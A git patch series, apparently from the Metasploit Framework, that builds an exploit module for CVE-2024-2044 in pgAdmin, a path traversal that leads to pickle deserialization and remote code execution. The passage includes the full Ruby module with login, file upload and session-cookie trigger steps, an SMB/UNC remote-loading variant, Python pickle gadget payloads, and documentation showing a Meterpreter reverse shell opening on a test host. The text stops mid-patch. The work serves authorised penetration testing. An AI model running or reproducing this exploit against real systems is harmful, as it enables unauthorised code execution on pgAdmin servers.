From 8fa7aa64071420e7caa797df26160045b762adca Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 27 Mar 2024 15:29:05 -0400 Subject: [PATCH 1/9] Initial exploit for CVE-2024-2044 --- .../http/pgadmin_session_deserialization.rb | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 modules/exploits/multi/http/pgadmin_session_deserialization.rb diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb new file mode 100644 index 000000000000..e4726f938dd6 --- /dev/null +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -0,0 +1,171 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => '', + 'Description' => %q{ + + }, + 'Author' => [ + 'Spencer McIntyre', + + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-2044'], + ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'], + ], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => + { + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-03-04', # date it was patched https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d + 'Notes' => + { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], + 'Reliability' => [ REPEATABLE_SESSION, ], + } + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']), + # todo: make these optional once the exploit supports windows targets with remote loading + OptString.new('USERNAME', [true, 'The username to authenticate with', '']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', '']) + ]) + end + + def check + version = get_version + return CheckCode::Unknown('Unable to determine the target version') unless version + return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4') + + CheckCode::Appears("pgAdmin version #{version} is affected") + end + + def csrf_token + return @csrf_token if @csrf_token + + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) + set_csrf_token_from_login_page(res) + fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token + @csrf_token + end + + def set_csrf_token_from_login_page(res) + return unless res&.code == 200 && res.body =~ /csrfToken": "([\w+\.\-]+)"/ + @csrf_token = Regexp.last_match(1) + end + + def get_version + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) + return unless res&.code == 200 + + html_document = res.get_html_document + return unless html_document.xpath('//title').text == 'pgAdmin 4' + + # there's multiple links in the HTML that expose the version number in the [X]XYYZZ, + # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27 + versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ } + return unless versioned_link + + set_csrf_token_from_login_page(res) # store the CSRF token because we have it + Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}") + end + + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'csrf_token' => csrf_token, + 'email' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'language' => 'en', + 'internal_button' => 'Login' + } + }) + # todo: check what happens when MFA is enabled + unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') + fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') + end + + serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded) + + file_name = Faker::File.file_name(dir: '', directory_separator: '') + file_upload(file_name, serialized_data) + trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}") + end + + def trigger_deserialization(path) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login'), + 'cookie' => "pga4_session=#{path}!a" + }) + end + + def file_upload(file_path, file_contents) + # upload step #1: initialize the file manager to obtain a transaction ID + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => { + 'dialog_type' => 'storage_dialog', + 'supported_types' => ['sql', 'csv', 'json', '*'], + 'dialog_title' => 'Storage Manager' + }.to_json + }) + unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) + fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction') + end + + # upload step #2: use the transaction ID to upload a file + form = Rex::MIME::Message.new + form.add_part( + file_contents, + 'application/octet-stream', + 'binary', + "form-data; name=\"newfile\"; filename=\"#{file_path}\"" + ) + form.add_part('add', nil, nil, "form-data; name=\"mode\"") + form.add_part('/', nil, nil, "form-data; name=\"currentpath\"") + form.add_part('my_storage', nil, nil, "form-data; name=\"storage_folder\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => "multipart/form-data; boundary=#{form.bound}", + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => form.to_s + }) + unless res&.code == 200 && res.get_json_document['success'] == 1 + fail_with(Failure::UnexpectedReply, 'Failed to upload file contents') + end + + upload_path = res.get_json_document.dig('data', 'result', 'Name') + vprint_status("File uploaded to: #{upload_path}") + true + end +end From 9dcd0e461f516338b3ff169af930e555933d97c5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 28 Mar 2024 09:26:03 -0400 Subject: [PATCH 2/9] Delete the file using the file manager too --- .../http/pgadmin_session_deserialization.rb | 38 ++++++++++++++++--- 1 file changed, 33 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb index e4726f938dd6..6c33c2d8d97a 100644 --- a/modules/exploits/multi/http/pgadmin_session_deserialization.rb +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -111,19 +111,19 @@ def exploit serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded) file_name = Faker::File.file_name(dir: '', directory_separator: '') - file_upload(file_name, serialized_data) + file_manager_upload(file_name, serialized_data) trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}") + file_manager_delete(file_name) end def trigger_deserialization(path) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login'), - 'cookie' => "pga4_session=#{path}!a" + 'cookie' => "pga4_session=#{path}!" }) end - def file_upload(file_path, file_contents) - # upload step #1: initialize the file manager to obtain a transaction ID + def file_manager_init res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), 'method' => 'POST', @@ -140,7 +140,34 @@ def file_upload(file_path, file_contents) fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction') end - # upload step #2: use the transaction ID to upload a file + trans_id + end + + def file_manager_delete(file_path) + trans_id = file_manager_init + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => { + 'mode' => 'delete', + 'path' => "/#{file_path}", + 'storage_folder' => 'my_storage' + }.to_json + }) + unless res&.code == 200 && res.get_json_document['success'] == 1 + fail_with(Failure::UnexpectedReply, 'Failed to delete file') + end + + true + end + + def file_manager_upload(file_path, file_contents) + trans_id = file_manager_init + form = Rex::MIME::Message.new form.add_part( file_contents, @@ -166,6 +193,7 @@ def file_upload(file_path, file_contents) upload_path = res.get_json_document.dig('data', 'result', 'Name') vprint_status("File uploaded to: #{upload_path}") + true end end From 2292da91644f20e4d0752b27138f4164328a8fd5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 28 Mar 2024 17:27:48 -0400 Subject: [PATCH 3/9] Add the UNC loading technique too --- .../core/exploit/remote/smb/server/share.rb | 2 +- lib/msf/util/python_deserialization.rb | 4 +++ .../http/pgadmin_session_deserialization.rb | 30 +++++++++++++++---- 3 files changed, 30 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb index af82d4904f29..de2c6acfb824 100644 --- a/lib/msf/core/exploit/remote/smb/server/share.rb +++ b/lib/msf/core/exploit/remote/smb/server/share.rb @@ -99,7 +99,7 @@ def get_file_contents(client:) end def cleanup - self.service.remove_share(share) if share.present? + self.service.remove_share(share) if self.service.present? && share.present? super end diff --git a/lib/msf/util/python_deserialization.rb b/lib/msf/util/python_deserialization.rb index 16ca45d5f814..81a901c0aa07 100644 --- a/lib/msf/util/python_deserialization.rb +++ b/lib/msf/util/python_deserialization.rb @@ -11,6 +11,10 @@ class PythonDeserialization py3_exec: proc do |python_code| escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" } %|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.| + end, + py3_exec_threaded: proc do |python_code| + escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" } + %|c__builtin__\ngetattr\np0\n(cthreading\nThread\np1\nVstart\np2\ntp3\nRp4\n(g1\n(Nc__builtin__\nexec\np5\nN(V#{escaped}\np6\ntp7\ntp8\nRp9\ntp10\nRp11\n.| end } diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb index 6c33c2d8d97a..7e6ed7759182 100644 --- a/modules/exploits/multi/http/pgadmin_session_deserialization.rb +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) super(update_info(info, @@ -21,6 +22,7 @@ def initialize(info = {}) ['CVE', '2024-2044'], ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'], ], + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => @@ -32,7 +34,8 @@ def initialize(info = {}) ], 'DefaultOptions' => { - 'SSL' => true + 'SSL' => true, + 'WfsDelay' => 5 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-03-04', # date it was patched https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d @@ -46,9 +49,8 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']), - # todo: make these optional once the exploit supports windows targets with remote loading - OptString.new('USERNAME', [true, 'The username to authenticate with', '']), - OptString.new('PASSWORD', [true, 'The password to authenticate with', '']) + OptString.new('USERNAME', [false, 'The username to authenticate with', '']), + OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) ]) end @@ -91,6 +93,23 @@ def get_version end def exploit + if datastore['USERNAME'].present? + exploit_upload + else + exploit_remote_load + end + end + + def exploit_remote_load + start_service() + print_status("Server started.") + + # Call the exploit primer + self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) + trigger_deserialization(unc) + end + + def exploit_upload res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), 'method' => 'POST', @@ -108,7 +127,7 @@ def exploit fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') end - serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded) + serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) file_name = Faker::File.file_name(dir: '', directory_separator: '') file_manager_upload(file_name, serialized_data) @@ -117,6 +136,7 @@ def exploit end def trigger_deserialization(path) + print_status("Triggering deserialization for path: #{path}") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login'), 'cookie' => "pga4_session=#{path}!" From fb073cf21a88c1e876fa03aa435d2d0d0a54d9b2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 28 Mar 2024 17:32:58 -0400 Subject: [PATCH 4/9] Bump ruby_smb to pull in submitted changes --- Gemfile | 2 ++ Gemfile.lock | 19 +++++++++++++------ 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/Gemfile b/Gemfile index 83b7b2811fbd..a840d346096e 100644 --- a/Gemfile +++ b/Gemfile @@ -53,3 +53,5 @@ group :test do gem 'timecop' end +# remove after https://github.com/rapid7/ruby_smb/pull/264 is landed +gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb', branch: 'fix/server/smb2-related-operations-state' diff --git a/Gemfile.lock b/Gemfile.lock index aabf8b25402e..a145ec9bd770 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,15 @@ +GIT + remote: https://github.com/zeroSteiner/ruby_smb + revision: 3dceda095d4218156afbbfc197c85827ffb2ef4c + branch: fix/server/smb2-related-operations-state + specs: + ruby_smb (3.3.5) + bindata (= 2.4.15) + openssl-ccm + openssl-cmac + rubyntlm + windows_error (>= 0.1.4) + PATH remote: . specs: @@ -474,12 +486,6 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.4) - bindata (= 2.4.15) - openssl-ccm - openssl-cmac - rubyntlm - windows_error (>= 0.1.4) rubyntlm (0.6.3) rubyzip (2.3.2) sawyer (0.9.2) @@ -566,6 +572,7 @@ DEPENDENCIES rspec-rerun rubocop ruby-prof (= 1.4.2) + ruby_smb! simplecov (= 0.18.2) test-prof timecop From e5635c4bfde97d3d138ac84d63b786960d1a1b3f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 28 Mar 2024 17:44:22 -0400 Subject: [PATCH 5/9] Add source code for Python deserialization gadgets --- external/source/python_deserialization/py3_exec.py | 9 +++++++++ .../python_deserialization/py3_exec_threaded.py | 14 ++++++++++++++ lib/msf/util/python_deserialization.rb | 2 ++ 3 files changed, 25 insertions(+) create mode 100644 external/source/python_deserialization/py3_exec.py create mode 100644 external/source/python_deserialization/py3_exec_threaded.py diff --git a/external/source/python_deserialization/py3_exec.py b/external/source/python_deserialization/py3_exec.py new file mode 100644 index 000000000000..369199cec029 --- /dev/null +++ b/external/source/python_deserialization/py3_exec.py @@ -0,0 +1,9 @@ +import pickle + +class GadgetChain: + def __reduce__(self): + return __builtins__.exec, ('#{escaped}',) + +if __name__ == '__main__': + pickled = pickle.dumps(GadgetChain(), protocol=0) + print(repr(pickled.decode())) diff --git a/external/source/python_deserialization/py3_exec_threaded.py b/external/source/python_deserialization/py3_exec_threaded.py new file mode 100644 index 000000000000..f239d355fa3b --- /dev/null +++ b/external/source/python_deserialization/py3_exec_threaded.py @@ -0,0 +1,14 @@ +import pickle +import threading + +class CreateThread: + def __reduce__(self): + return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',)) + +class GadgetChain: + def __reduce__(self): + return threading.Thread.start, (CreateThread(),) + +if __name__ == '__main__': + pickled = pickle.dumps(GadgetChain(), protocol=0) + print(repr(pickled.decode())) diff --git a/lib/msf/util/python_deserialization.rb b/lib/msf/util/python_deserialization.rb index 81a901c0aa07..df87b056f894 100644 --- a/lib/msf/util/python_deserialization.rb +++ b/lib/msf/util/python_deserialization.rb @@ -6,12 +6,14 @@ module Util # Python deserialization class class PythonDeserialization # That could be in the future a list of payloads used to exploit the Python deserialization vulnerability. + # Payload source files are available in external/source/python_deserialization PAYLOADS = { # this payload will work with Python 3.x targets to execute Python code in place py3_exec: proc do |python_code| escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" } %|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.| end, + # this payload will work with Python 3.x targets to execute Python code in a new thread py3_exec_threaded: proc do |python_code| escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" } %|c__builtin__\ngetattr\np0\n(cthreading\nThread\np1\nVstart\np2\ntp3\nRp4\n(g1\n(Nc__builtin__\nexec\np5\nN(V#{escaped}\np6\ntp7\ntp8\nRp9\ntp10\nRp11\n.| From c7976d204c15bd8016a0dd24af66f31c170ca57d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 29 Mar 2024 10:40:43 -0400 Subject: [PATCH 6/9] Add module metadata and clean things up --- .../http/pgadmin_session_deserialization.rb | 138 ++++++++++-------- 1 file changed, 75 insertions(+), 63 deletions(-) diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb index 7e6ed7759182..329590f21d57 100644 --- a/modules/exploits/multi/http/pgadmin_session_deserialization.rb +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -8,44 +8,55 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) - super(update_info(info, - 'Name' => '', - 'Description' => %q{ - - }, - 'Author' => [ - 'Spencer McIntyre', - - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2024-2044'], - ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'], - ], - 'Stance' => Msf::Exploit::Stance::Aggressive, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Payload' => - { + super( + update_info( + info, + 'Name' => 'pgAdmin Session Deserialization RCE', + 'Description' => %q{ + pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow + a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python + object to execute code within the context of the target application. + + This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials + are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object + using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before + being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no + credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a + UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also + requires that insecure outbound guest access be enabled. }, - 'Targets' => - [ - [ 'Automatic', { } ], + 'Author' => [ + 'Spencer McIntyre', # metasploit module + 'Davide Silvetti', # vulnerability discovery and write up + 'Abdel Adim Oisfi' # vulnerability discovery and write up + + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-2044'], + ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'], + ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d'] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => {}, + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DefaultOptions' => - { - 'SSL' => true, + 'DefaultOptions' => { + 'SSL' => true, 'WfsDelay' => 5 }, - 'DefaultTarget' => 0, - 'DisclosureDate' => '2024-03-04', # date it was patched https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d - 'Notes' => - { - 'Stability' => [ CRASH_SAFE, ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-03-04', # date it was patched https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], - 'Reliability' => [ REPEATABLE_SESSION, ], + 'Reliability' => [ REPEATABLE_SESSION, ] } - )) + ) + ) register_options([ OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']), @@ -72,7 +83,8 @@ def csrf_token end def set_csrf_token_from_login_page(res) - return unless res&.code == 200 && res.body =~ /csrfToken": "([\w+\.\-]+)"/ + return unless res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ + @csrf_token = Regexp.last_match(1) end @@ -101,8 +113,8 @@ def exploit end def exploit_remote_load - start_service() - print_status("Server started.") + start_service + print_status('The SMB service has been started.') # Call the exploit primer self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) @@ -111,18 +123,18 @@ def exploit_remote_load def exploit_upload res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), - 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), + 'method' => 'POST', 'keep_cookies' => true, - 'vars_post' => { - 'csrf_token' => csrf_token, - 'email' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'language' => 'en', + 'vars_post' => { + 'csrf_token' => csrf_token, + 'email' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'language' => 'en', 'internal_button' => 'Login' } }) - # todo: check what happens when MFA is enabled + unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') end @@ -145,15 +157,15 @@ def trigger_deserialization(path) def file_manager_init res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), - 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), + 'method' => 'POST', 'keep_cookies' => true, - 'ctype' => 'application/json', - 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, - 'data' => { - 'dialog_type' => 'storage_dialog', + 'ctype' => 'application/json', + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => { + 'dialog_type' => 'storage_dialog', 'supported_types' => ['sql', 'csv', 'json', '*'], - 'dialog_title' => 'Storage Manager' + 'dialog_title' => 'Storage Manager' }.to_json }) unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) @@ -167,12 +179,12 @@ def file_manager_delete(file_path) trans_id = file_manager_init res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), - 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), + 'method' => 'POST', 'keep_cookies' => true, - 'ctype' => 'application/json', - 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, - 'data' => { + 'ctype' => 'application/json', + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => { 'mode' => 'delete', 'path' => "/#{file_path}", 'storage_folder' => 'my_storage' @@ -195,17 +207,17 @@ def file_manager_upload(file_path, file_contents) 'binary', "form-data; name=\"newfile\"; filename=\"#{file_path}\"" ) - form.add_part('add', nil, nil, "form-data; name=\"mode\"") - form.add_part('/', nil, nil, "form-data; name=\"currentpath\"") - form.add_part('my_storage', nil, nil, "form-data; name=\"storage_folder\"") + form.add_part('add', nil, nil, 'form-data; name="mode"') + form.add_part('/', nil, nil, 'form-data; name="currentpath"') + form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"') res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), - 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), + 'method' => 'POST', 'keep_cookies' => true, - 'ctype' => "multipart/form-data; boundary=#{form.bound}", - 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, - 'data' => form.to_s + 'ctype' => "multipart/form-data; boundary=#{form.bound}", + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, + 'data' => form.to_s }) unless res&.code == 200 && res.get_json_document['success'] == 1 fail_with(Failure::UnexpectedReply, 'Failed to upload file contents') From 43d1bd9a2ed84d03dba345d42d00960ce9cbffb1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 29 Mar 2024 13:41:52 -0400 Subject: [PATCH 7/9] Add docs and fix CSRF token for v7.0 --- .../http/pgadmin_session_deserialization.md | 92 +++++++++++++++++++ .../http/pgadmin_session_deserialization.rb | 19 +++- 2 files changed, 106 insertions(+), 5 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md diff --git a/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md b/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md new file mode 100644 index 000000000000..4b93c3b16e13 --- /dev/null +++ b/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md @@ -0,0 +1,92 @@ +*## Vulnerable Application +pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow a +pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to +execute code within the context of the target application. + +This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials are +specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object using +pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before being deleted +using the file management plugin. This technique works for both Linux and Windows targets. If no credentials are +provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique +only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure outbound +guest access be enabled. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/pgadmin_session_deserialization` +1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options +1. Do: `run` + +### Installation (Docker on Linux) + +A docker instance can be started using the following command. It'll start on port 8080 with an initial account for +`metasploit@gmail.com`. Additional accounts can be created through the web UI. + +``` +docker run -p 8080:80 \ + -e 'PGADMIN_DEFAULT_EMAIL=metasploit@gmail.com' \ + -e 'PGADMIN_DEFAULT_PASSWORD=Password1!' \ + -d dpage/pgadmin4:8.3 +``` + +### Installation (Windows) + +These steps are the bare minimum to get the application to run for testing and should not be use for a production setup. +For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface. + +**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**. + +1. [Download][1] and install the Windows build +1. Copy the `config_distro.py` file to `config_local.py` +1. Edit `config_local.py` and set `SERVER_MODE` to `True` +1. Initialize the database: `..\python\python.exe setup.py setup-db` +1. Create an initial user account: `..\python\python.exe setup.py add-user --admin metasploit@gmail.com Password1!` +1. Run the application: `..\python\python.exe pgAdmin4.py` + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### pgAdmin 8.3 on Docker + +``` +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set RHOSTS 192.168.250.134 +RHOSTS => 192.168.250.134 +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set RPORT 8080 +RPORT => 8080 +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set SSL false +[!] Changing the SSL option's value may require changing RPORT! +SSL => false +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set USERNAME user@gmail.com +USERNAME => user@gmail.com +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set PASSWORD Password1! +PASSWORD => Password1! +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set PAYLOAD python/meterpreter/reverse_tcp +PAYLOAD => python/meterpreter/reverse_tcp +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > set LHOST 192.168.250.134 +LHOST => 192.168.250.134 +metasploit-framework (S:0 J:0) exploit(multi/http/pgadmin_session_deserialization) > run + +[*] Started reverse TCP handler on 192.168.250.134:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. pgAdmin version 8.3.0 is affected +[*] Successfully authenticated to pgAdmin +[*] Serialized payload uploaded to: /var/lib/pgadmin/storage/zeroSteiner_gmail.com/reiciendis.pages +[*] Triggering deserialization for path: ../storage/zeroSteiner_gmail.com/reiciendis.pages +[*] Sending stage (24768 bytes) to 192.168.250.134 +[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.134:45930) at 2024-03-29 12:01:04 -0400 + +meterpreter > getuid +Server username: pgadmin +meterpreter > sysinfo +Computer : 27b165126272 +OS : Linux 6.7.9-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Mar 6 19:35:04 UTC 2024 +Architecture : x64 +Meterpreter : python/linux +meterpreter > pwd +/pgadmin4 +meterpreter > +``` + +[1]: https://www.postgresql.org/ftp/pgadmin/pgadmin4/v8.3/windows/ diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb index 329590f21d57..4f14ea72ae01 100644 --- a/modules/exploits/multi/http/pgadmin_session_deserialization.rb +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -4,6 +4,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMB::Server::Share @@ -24,6 +25,10 @@ def initialize(info = {}) credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure 